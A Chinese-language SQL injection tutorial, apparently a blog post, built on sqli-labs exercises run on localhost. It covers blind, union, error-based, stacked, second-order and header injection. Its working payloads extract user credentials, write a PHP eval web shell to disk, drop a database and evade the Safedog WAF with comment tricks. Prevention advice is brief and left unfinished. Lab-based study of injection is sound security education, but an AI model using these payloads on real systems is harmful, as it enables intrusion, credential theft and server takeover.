免責聲明
閲讀前請先熟讀《網絡安全法》相關內容,以下知識點僅供學習使用,由於傳播,利用此文所提供的信息而造成的任何直接或間接的後果和損失,均由使用者本人負責,文章作者不承擔任何責任。
瞭解SQL注入
SQL注入是因為後台SQL語句拼接了用户的輸入,而且Web應用程序對用户輸入數據的合法性沒有判斷和過濾,前端傳入後端的參數是攻擊者可控的,攻擊者可以通過構造不同的SQL語句來實現對數據庫的任意操作。比如查詢、刪除,增加,修改數據等等,如果數據庫的用户權限足夠大,還可以對操作系統執行操作。
SQL注入可以分為平台層注入和代碼層注入。前者由不安全的數據庫配置或數據庫平台的漏洞所致;後者主要是由於程序員對輸入未進行細緻地過濾。SQL注入是針對數據庫、後台、系統層面的攻擊!
熟悉數據庫
目前市面上使用MySql的數量還是比較多的,所以佩劍以MySql舉例,所以先了解點MySQL有關的知識。在MySQL5.0之後添加了 information_schema 的數據庫,該數據庫中的表都是隻讀的,不能進程正刪改查,實際上就是一個視圖,不是基本的表結構。無法被刪除。
DROP DATABASE information_schema
> 1044 - Access denied for user 'root'@'localhost' to database 'information_schema'
特別要注意的是數據庫中的註釋符,在後續的SQL注入過程中,繞過安全狗有特別重要的作用,需要靈活組合搭配
mysql中註釋符:# 、/**/ 、 --
information_schema數據庫中三個很重要的表:
information_schema.schemata: 該數據表存儲了mysql數據庫中的所有數據庫的庫名
information_schema.tables:該數據表存儲了mysql數據庫中的所有數據表的表名
information_schema.columns: 該數據表存儲了mysql數據庫中的所有列的列名
Mysql常用函數
- version():查詢數據庫的版本
- user():查詢數據庫的使用者
- database():數據庫
- system_user():系統用户名
- session_user():連接數據庫的用户名
- current_user:當前用户名
- load_file():讀取本地文件
- @@datadir:讀取數據庫路徑
- @@basedir:mysql安裝路徑
- @@version_complie_os:查看操作系統
- ascii(str) : 返回給定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97
- length(str) : 返回給定字符串的長度,如 length("string")=6
- substr(string,start,length) : 對於給定字符串string,從start位開始截取,截取length長度 ,如 substr("chinese",3,2)="in"
- substr()、stbstring()、mid() 三個函數的用法、功能均一致
- concat(username):將查詢到的username連在一起,默認用逗號分隔
- concat(str1,'',str2):將字符串str1和str2的數據查詢到一起,中間用連接
- group_concat(username) :將username數據查詢在一起,用逗號連接
- limit 0,1:查詢第1個數,limit 1,1: 查詢第2個數
以上是在SQL注入過程中經常用到的,如果還需要了解其他的函數可以自行百度
SQL注入的分類
注入點類型分類
- 數字類型
- 字符串類型
-
搜索型
提交方式分類
- GET
- POST
- COOKIE
-
HTTP頭
獲取信息的方式分類
- 布爾盲注
- 時間盲注
- 報錯注入
- 聯合查詢
- 堆查詢注入
判斷是否存在SQL注入
一個網站有特別多頁面,怎麼判斷是否存在SQL注入。可以通過現成的工具例如:AWVS、AppScan、Nessus、SqlMap等。也可以在GitHub上子域名掃描器,把整個站所有子域名都掃描出來,然後再逐步掃描漏洞【掃描的網站一定要在得到許可後,才能掃描】。
但是有的時候工具不是萬能的,工具只是大面積的掃描,有很多時候還是需要手動判斷是否有SQL注入漏洞。下面以MySql 5.5版本為例,熟悉SQL注入流程,積累經驗。
盲注:服務器沒有錯誤回顯時完成的注入攻擊。服務器沒有錯誤回顯,無法判斷是否成功注入
所以需要找到一個方面讓服務器報錯
- 先加單引號'、雙引號"、單括號)、雙括號))等看看是否報錯,如果報錯就可能存在SQL注入漏洞了。
- 在URL後面加 and 1=1 、 and 1=2 看頁面是否顯示一樣,顯示不一樣的話,肯定存在SQL注入漏洞了。
-
有時候通過簡單的條件語句比如 and 1=2 是無法看出異常,就需要時間盲注
環境準備
下面我們搭建sqli-labs靶機驗證個個注入方法
我把靶機安裝在Centos7虛擬機上,安裝的時候需要安裝小皮【phpstudy】 官網教程已經非常詳細就不贅述了。強調的一點就是sqli-labs用的php框架比較老,需要安裝5.x版本的php,如果是默認的7.x版本啓動會報錯,安裝5.5+mysql默認用户名密碼即可
修改sqli-labs配置文件
輸入地址就能訪問
點擊Setup/reset Database for labs 鏈接自動靶場數據腳本插入到數據庫中
初學可以改造一下靶場的代碼,讓sql顯示到頁面上,能更好的理解sql輸入的全過程。當然直接安裝到本地會更好操作一下,看個人習慣
這樣就可以使用了Boolean盲注【耗時】
我們先以Less-5舉例,首先代碼改造一下,將SQL打在頁面上,可以更方便我們理解
我用的是火狐瀏覽器,可以在擴展裏安裝Max HackBar【免費】,在使用的過程中會很方便。
當我們輸入http://127.0.0.1/sqli/Less-5/...' 我們得到下面的頁面
由此可以看出代碼把 id 當成了字符來處理,而且後面還有一個限制顯示的行數 limit 0,1 。當我們輸入的語句正確時,就顯示You are in.... 當我們輸入的語句錯誤時就報出 SQL 語句錯誤。
根據以上的信息我們可以猜出sql的大概寫法$sql="SELECT * FROM 表 WHERE id='$id' LIMIT 0,1"; //sql查詢語句 $result=mysql_query($sql);所以可以通過一些構造語句猜想我們的判斷,盲注一般用到的函數有substr() 、length(),exists()、concat()、ascii()等。
1、判斷數據庫類型
這個例子已經告訴我們數據類型,在不知道什麼數據庫的,需要通過exists()函數判斷是什麼數據庫
//判斷是否是 Mysql數據庫 http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from information_schema.tables) # //判斷是否是 access數據庫 http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from msysobjects) # //判斷是否是 Sqlserver數據庫 http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from sysobjects) #看哪個不報錯就能判斷是什麼數據庫,後面的#號是註釋掉後面的sql
對於MySQL數據庫,information_schema 數據庫中的表都是隻讀的,不能進行更新、刪除和插入等操作。
information_schema.tables存儲了數據表的元數據信息,下面對常用的字段進行介紹: - table_schema: 記錄數據庫名
- table_name: 記錄數據表名
- table_rows: 關於表的粗略行估計
-
data_length : 記錄表的大小(單位字節)
2、判斷當前數據庫名
1:判斷當前數據庫的長度,利用二分法 http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>5 //正常顯示 http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>10 //不顯示任何數據 http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>7 //正常顯示 http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>8 //不顯示任何數據 大於7正常顯示,大於8不顯示,所以可知當前數據庫長度為 8 2:判斷當前數據庫的字符,和上面的方法一樣,利用二分法依次判斷 //判斷數據庫的第一個字符 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr(database(),1,1))>100 //判斷數據庫的第二個字符 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr(database(),2,1))>100 ........... 由此可以判斷出當前數據庫為 security3、判斷當前數據庫中的表
http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from admin) //猜測當前數據庫中是否存在admin表 1:判斷當前數據庫中表的個數 // 判斷當前數據庫中的表的個數是否大於5,用二分法依次判斷,最後得知當前數據庫表的個數為4 http://127.0.0.1/sqli/Less-5/?id=-1 and (select count(table_name) from information_schema.tables where table_schema=database())>5 # 2:判斷每個表的長度 //判斷第一個表的長度,用二分法依次判斷,最後可知當前數據庫中第一個表的長度為6 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //判斷第二個表的長度,用二分法依次判斷,最後可知當前數據庫中第二個表的長度為6 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 3:判斷每個表的每個字符的ascii值 //判斷第一個表的第一個字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # //判斷第一個表的第二個字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 # ......... 由此可判斷出存在表 emails、referers、uagents、users ,猜測users表中最有可能存在賬户和密碼,所以以下判斷字段和數據在 users 表中判斷4、判斷當前數據庫中的表
http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select username from admin) //猜測是否存在username字段 1:判斷表中字段的個數 //判斷users表中字段個數是否大於5,這裏的users表是通過上面的語句爆出來的 http://127.0.0.1/sqli/Less-5/?id=-1 and (select count(column_name) from information_schema.columns where table_name='users')>5 # 2:判斷字段的長度 //判斷第一個字段的長度 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 //判斷第二個字段的長度 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 3:判斷字段的ascii值 //判斷第一個字段的第一個字符的長度 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 //判斷第一個字段的第二個字符的長度 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 ........... 由此可判斷出users表中存在 id、username、password 字段5、判斷字段中的數據
上面方法已經知道users中有三個字段 id 、username 、password,現在爆出每個字段的數據 1: 判斷數據的長度 // 判斷id字段的第一個數據的長度 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select id from users limit 0,1))>5 // 判斷id字段的第二個數據的長度 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select id from users limit 1,1))>5 2:判斷數據的ascii值 // 判斷id字段的第一個數據的第一個字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select id from users limit 0,1),1,1))>100 // 判斷id字段的第一個數據的第二個字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select id from users limit 0,1),2,1))>100 ...........union注入
union聯合查詢適用於有顯示列的注入,可以通過order by來判斷當前表的列數
我們用Less-2舉例http://127.0.0.1/sqli/Less-2/?id=1 order by 4 #
説明只有3個字段http://127.0.0.1/sqli/Less-2/?id=-1 union select 1 ,2 ,3 #
注意id要輸入一個沒有的參數,才能將union顯示出來http://127.0.0.1/sqli/Less-2/?id=1 and 1=2 union select 1 ,2 ,3 #也可以寫成錯誤數據and 1=2
這時候需要一些函數來幫我們查詢重要信息version() :數據庫的版本 database() :當前所在的數據庫 user() :數據庫的用户 current_user() : 當前用户名 system_user() : 系統用户名 session_user() :連接到數據庫的用户名 @@basedir : 數據庫的安裝目錄 @@datadir :數據庫文件的存放目錄
通過union注入獲得更多的信息// 獲得所有的數據庫 http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata# // 獲得所有的表 http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables# // 獲得所有的列 http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns# #獲取當前數據庫中指定表的指定字段的值(只能是database()所在的數據庫內的數據,因為處於當前數據庫下的話不能查詢其他數據庫內的數據) http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(password),3 from users #
通過下面的語句得到當前數據庫的所有的表http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #
通過下面的語句知道每一個表中的列http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #
最後將users表中的所有數據都給爆出來了http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(id,'**',username,'**',password),3 from users #
當有顯示列的時候,可以利用 union 注入。當沒有顯示列的時候,只能利用盲注進行數據讀取;
文件讀寫
union注入讀取文件
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,load_file("D:/1.txt")#
union寫入文件
union注入寫入一句話木馬 into outfile 和 into dumpfile 都可以
http://127.0.0.1/sqli/Less-1/?id=-1 union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile 'D:/1.php' #
報錯注入
頁面上沒有顯示位,但是需要輸出 SQL 語句執行錯誤信息
ExtractValue報錯注入
EXTRACTVALUE (XML_document, XPath_string)
第一個參數:XML_document 是 String 格式,為 XML 文檔對象的名稱
第二個參數:XPath_string (Xpath 格式的字符串).
作用:從目標 XML 中返回包含所查詢值的字符串
// 可以將 user() 改成任何我們想要查詢的函數和sql語句 ,0x7e表示的是 ~
http://127.0.0.1/sqli/Less-2/?id=-1 and extractvalue(1,concat(0x7e,database(),0x7e))#
UpdateXml報錯注入
UpdateXml 函數實際上是去更新了XML文檔,但是我們在XML文檔路徑的位置裏面寫入了子查詢,我們輸入特殊字符,然後就因為不符合輸入規則然後報錯了,但是報錯的時候他其實已經執行了那個子查詢代碼!
UPDATEXML (XML_document, XPath_string, new_value)
第一個參數:XML_document 是 String 格式,為 XML 文檔對象的名稱
第二個參數:XPath_string (Xpath 格式的字符串)
第三個參數:new_value,String 格式,替換查找到的符合條件的數據
// 可以將 user() 改成任何我們想要查詢的函數和sql語句 ,0x7e表示的是 ~
http://127.0.0.1/sqli/Less-1/?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
時間盲注
Timing Attack注入,也就是時間盲注。通過簡單的條件語句比如 and 1=2 是無法看出異常的。
在MySQL中,有一個Benchmark() 函數,它是用於測試性能的。Benchmark(count,expr) ,這個函數執行的結果,是將表達式 expr 執行 count 次 。利用Benchmark函數,可以讓同一個函數執行若干次,使得結果返回的時間比平時要長,通過時間長短的變化,可以判斷注入語句是否執行成功.
http://127.0.0.1/sqli/Less-1/?id=1 and sleep(5)#
REGEXP正則匹配
正則表達式通常被用來檢索、替換那些符合某個模式(規則)的文本
http://127.0.0.1/sqli/Less-1/?id=1 and 1=(select 1 from information_schema.tables where table_schema=security and table_name regexp ^[a-z] limit 0,1) #
堆疊注入
在SQL中,分號;是用來表示一條sql語句的結束,在 ; 結束後繼續構造下一條語句繼續執行就是迭代注入。【目前個人發現只有mysql好用】
Select * from user where name='root';DROP database user;
二次注入
二次注入漏洞是一種在Web應用程序中廣泛存在的安全漏洞形式。相對於一次注入漏洞而言,二次注入漏洞更難以被發現,但是它卻具有與一次注入攻擊漏洞相同的攻擊威力。
以Less-24為例
新建一個賬號
新建的用户名為:admin'# 密碼為:123456
數據已經插入
登錄修改密碼
將admin密碼修改了
為什麼會這樣呢?我們查看修改密碼頁面源代碼,發現這裏存在明顯的SQL注入漏洞
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
當我們提交用户名 admin'# 修改密碼為 aaaaaa 的時候,這條SQL語句就變成了下面的語句了。#把後面的都給註釋了,所以就是修改了admin用户的密碼為 aaaaaa
$sql = "UPDATE users SET PASSWORD='aaaaaa' where username='admin'#' and password='$curr_pass' ";
User-Agent注入
訪問 http://127.0.0.1/sqli/Less-18/ 我們先抓包
修改其User-Agent為
and extractvalue(1,concat(0x7e,database(),0x7e))and 1=1 #
頁面將當前的數據庫顯示出來了
繞過安全狗
環境準備
在安裝安全狗之前,一定要先做好安裝apache2.4這一項
安全狗配置
下載最新4.0 安全狗
1=1繞過
首先這裏的話是嘗試一個1=1
更換成true=true進行嘗試 還是不行
嘗試用/*/來充當註釋符 依然不行
發現很多都可以充當空格來進行繞過,我們隨意挑選一個進行嘗試,構造payload如下
http://127.0.0.1/sqli/Less-2/?id=1 and/*////*/1 #
order by 繞過
http://127.0.0.1/sqli/Less-2/?id=1 order/*////*/by 3 --+
聯合查詢繞過
http://127.0.0.1/sqli/Less-2/?id=1 union/*/!*!**/select 1,2,3--+
各種註釋繞過
http://127.0.0.1/sqli/Less-2/?id=1 union/*/!*!**/select 1,2,database/*///-*/()--+
SQL注入的預防
- 可以採用預編譯語句集,它內置了處理SQL注入的能力,只要使用它的setXXX方法傳值即可。
- 使用正則表達式過濾
- 待更新